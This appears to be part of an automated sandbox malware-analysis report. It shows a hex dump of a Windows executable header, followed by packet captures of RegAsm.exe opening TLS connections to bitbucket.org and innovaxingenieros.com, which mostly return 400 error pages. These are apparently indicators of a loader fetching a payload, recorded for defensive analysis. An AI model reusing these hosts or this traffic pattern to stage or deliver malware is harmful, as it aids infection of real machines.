2a 34 36 3e b7 a9 36 24 2a 34 36 52 69 63 68 25 2a 34 36 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 b4 42 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 fc e9 17 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aKZe%46%46%46,R6&46,R6446%5646>6+46>6$46>6$46Rich%46PELGOpBB8@L@40GBdX.?H.textop `.rdatab,t@@.dataf>@.ndata ?.rsrcB0G@@.reloc2K4@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49707	185.166.143.50	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.692095995 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 ea c7 ce c1 55 b5 60 be 77 3e f6 23 47 0e cc fc bf f9 a9 d5 61 bf 48 76 36 75 62 bf b7 34 52 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fU`w>#GaHv6ub4R&,+0/$#('=<5/Sbitbucket.org#
Sep 18, 2024 14:30:07.311450958 CEST	156	IN	HTTP/1.1 400 Bad Request content-length: 11 content-type: text/plain date: Wed, 18 Sep 2024 12:30:06 GMT server: envoy connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49708	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.876985073 CEST	179	OUT	Data Raw: 16 03 03 00 ae 01 00 00 aa 03 03 66 ea c7 ce 95 40 9a 5b 8a 68 2c 5d 19 53 a6 98 f4 e2 d6 99 11 2c d9 27 5c fc a9 33 90 c8 59 93 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f@[h,]S,'\3Y&,+0/$#('=<5/[innovaxingenieros.com#
Sep 18, 2024 14:30:07.360173941 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:07 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:07.360215902 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 18, 2024 14:30:07.360227108 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 18, 2024 14:30:07.360259056 CEST	1236	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a img { b
Sep 18, 2024 14:30:07.360342026 CEST	448	IN	Data Raw: 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 Data Ascii: ddress { text-align: left; position: absolute; right: 0; bottom: 0; margin: 0 10px; } .status-reason { display: inline;
Sep 18, 2024 14:30:07.360923052 CEST	1236	IN	Data Raw: 41 41 41 41 41 44 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: AAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5+fn////////////////////////////////6+vr///////////////////////////////////////+i
Sep 18, 2024 14:30:07.362379074 CEST	224	IN	Data Raw: 63 57 53 46 44 52 4f 4e 53 72 41 55 30 69 46 59 4c 72 48 55 32 52 4b 42 33 71 2b 48 78 44 48 54 34 4a 4b 45 65 32 70 72 68 78 59 31 61 43 53 35 6c 59 2b 48 6e 58 75 36 4e 2b 78 36 49 4a 43 52 51 51 6d 45 45 7a 2b 59 6a 49 45 2f 78 73 2f 4d 6d 44 Data Ascii: cWSFDRONSrAU0iFYLrHU2RKB3q+HxDHT4JKEe2prhxY1aCS5lY+HnXu6N+x6IJCRQQmEEz+YjIE/xs/MmD8qHRYK5CAHuaTY5jfQxFC/YoIQSSVafrD+WK4H0Piv8SATRZChEXiOs39L/IYwiOxRHgeEKcmbMI9ccHRCdxUeYanFpQJMBUDIFxw1chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1
Sep 18, 2024 14:30:07.362410069 CEST	1236	IN	Data Raw: 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 Data Ascii: tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W
Sep 18, 2024 14:30:07.362461090 CEST	224	IN	Data Raw: 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 67 65 6a 65 6d 36 56 73 7a 77 61 4e 4a 35 49 51 54 39 72 38 41 55 46 30 34 2f 44 6f 4d 49 2b 4e 68 31 5a 57 35 4d 34 63 Data Ascii: Se/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61er
Sep 18, 2024 14:30:07.362473011 CEST	1236	IN	Data Raw: 58 50 42 4f 66 4f 36 48 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 50 50 42 76 77 7a 71 4f 6c 75 54 76 68 44 42 56 42 32 61 34 49 79 78 2f 34 55 78 4c 72 78 38 67 6f 79 63 57 30 55 45 67 4f 34 79 32 4c 33 Data Ascii: XPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49709	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:06.877010107 CEST	179	OUT	Data Raw: 16 03 03 00 ae 01 00 00 aa 03 03 66 ea c7 ce 4e fc cd 79 7c 54 52 7e 5a 0c 6f c5 84 8f 9b 59 d9 ae 1b 58 35 bc df 87 cb 84 33 fd 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fNy\|TR~ZoYX53&,+0/$#('=<5/[innovaxingenieros.com#
Sep 18, 2024 14:30:07.362497091 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:07 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:07.362512112 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat
Sep 18, 2024 14:30:07.362525940 CEST	1236	IN	Data Raw: 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 Data Ascii: .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Sep 18, 2024 14:30:07.362546921 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 Data Ascii: font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address {
Sep 18, 2024 14:30:07.362557888 CEST	1236	IN	Data Raw: 41 66 73 75 2f 78 4b 76 39 42 34 51 55 7a 73 56 31 58 4b 46 54 7a 44 50 47 2b 4c 66 6f 4c 70 45 2f 4c 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 Data Ascii: Afsu/xKv9B4QUzsV1XKFTzDPG+LfoLpE/LjJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNn
Sep 18, 2024 14:30:07.362571955 CEST	1236	IN	Data Raw: 5a 50 70 35 71 68 35 43 70 34 56 46 69 4c 38 57 4d 2f 43 6c 38 53 46 34 70 67 74 68 76 74 48 6d 34 71 51 55 49 69 51 64 59 2b 35 4e 4d 66 75 2f 32 32 38 50 6b 71 33 4e 5a 4e 4d 71 44 31 57 37 72 4d 6e 72 77 4a 65 51 45 6d 49 77 4b 73 61 63 4d 49 Data Ascii: ZPp5qh5Cp4VFiL8WM/Cl8SF4pgthvtHm4qQUIiQdY+5NMfu/228Pkq3NZNMqD1W7rMnrwJeQEmIwKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/Iaxq
Sep 18, 2024 14:30:07.362638950 CEST	1236	IN	Data Raw: 35 34 4e 36 74 34 4f 65 57 78 51 78 75 6b 6e 67 75 4a 31 53 38 34 41 52 52 34 52 77 41 71 74 6d 61 43 46 5a 6e 52 69 4c 32 6c 62 4d 2b 48 61 41 43 35 6e 70 71 2b 49 77 46 2b 36 68 68 66 42 57 7a 4e 4e 6c 57 36 71 43 72 47 58 52 79 7a 61 30 79 4e Data Ascii: 54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0yNOd1E1fsYUC7UV2Jop7XyXbsw90KYUInjpkRcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dU
Sep 18, 2024 14:30:07.362652063 CEST	1236	IN	Data Raw: 20 20 20 3c 73 65 63 69 6f 6e 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 63 6f 64 65 22 3e 34 30 30 3c 2f 73 Data Ascii: <secion class="response-info"> <span class="status-code">400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please for
Sep 18, 2024 14:30:07.362663984 CEST	407	IN	Data Raw: 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f Data Ascii: <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49710	185.166.143.50	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:07.319925070 CEST	117	OUT	Data Raw: 16 03 01 00 70 01 00 00 6c 03 01 66 ea c7 ce 8b 5b 04 f3 73 0f eb 17 12 36 43 6a d2 8f 19 2c 34 e8 94 69 5d dc ee 1c 84 1d 8b d9 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 35 00 00 00 12 00 10 00 00 0d 62 69 74 62 75 63 6b 65 74 Data Ascii: plf[s6Cj,4i]5/5bitbucket.org#
Sep 18, 2024 14:30:07.943619967 CEST	156	IN	HTTP/1.1 400 Bad Request content-length: 11 content-type: text/plain date: Wed, 18 Sep 2024 12:30:07 GMT server: envoy connection: close Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49711	167.114.163.236	80	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:07.368868113 CEST	179	OUT	Data Raw: 16 03 03 00 ae 01 00 00 aa 03 03 66 ea c7 ce ba ff 60 3b b1 a0 93 d8 cc d0 33 3f d7 86 5c a7 47 8b 38 03 2d b6 65 92 3f 66 b6 00 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f`;3?\G8-e?f&,+0/$#('=<5/[innovaxingenieros.com#
Sep 18, 2024 14:30:07.589418888 CEST	179	OUT	Data Raw: 16 03 03 00 ae 01 00 00 aa 03 03 66 ea c7 ce ba ff 60 3b b1 a0 93 d8 cc d0 33 3f d7 86 5c a7 47 8b 38 03 2d b6 65 92 3f 66 b6 00 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: f`;3?\G8-e?f&,+0/$#('=<5/[innovaxingenieros.com#
Sep 18, 2024 14:30:08.140767097 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 18 Sep 2024 12:30:08 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 18, 2024 14:30:08.140806913 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat
Sep 18, 2024 14:30:08.140820026 CEST	448	IN	Data Raw: 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 Data Ascii: .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Sep 18, 2024 14:30:08.140942097 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 18, 2024 14:30:08.140955925 CEST	1236	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////
Sep 18, 2024 14:30:08.140969038 CEST	1236	IN	Data Raw: 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 Data Ascii: vQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrH
Sep 18, 2024 14:30:08.140981913 CEST	1236	IN	Data Raw: 30 52 49 51 38 44 7a 59 4f 4b 4a 75 39 38 56 30 30 36 4c 62 53 49 6b 76 42 73 52 6c 7a 42 50 59 6b 49 52 49 48 31 37 34 33 69 45 69 65 6c 42 54 34 69 51 52 6b 4e 48 77 55 51 4d 55 74 54 57 58 71 73 69 51 75 67 42 69 77 6c 37 33 4f 4f 72 56 30 52 Data Ascii: 0RIQ8DzYOKJu98V006LbSIkvBsRlzBPYkIRIH1743iEielBT4iQRkNHwUQMUtTWXqsiQugBiwl73OOrV0RIq/6+BIPPVVLrbAVAulQKIwAO/9jUKyJk51SmO5wwhpHXac0E3EQEfRIu6TfBYLQn/J3eCcFdE7i4dwmHckWErJsmU7eIsGnLxpVpVETI4kVM3VCUw1+XdRPRaM0k64jL1LEFkBBGRw7ad1ZE+AVH74Xh8NQM/dZM
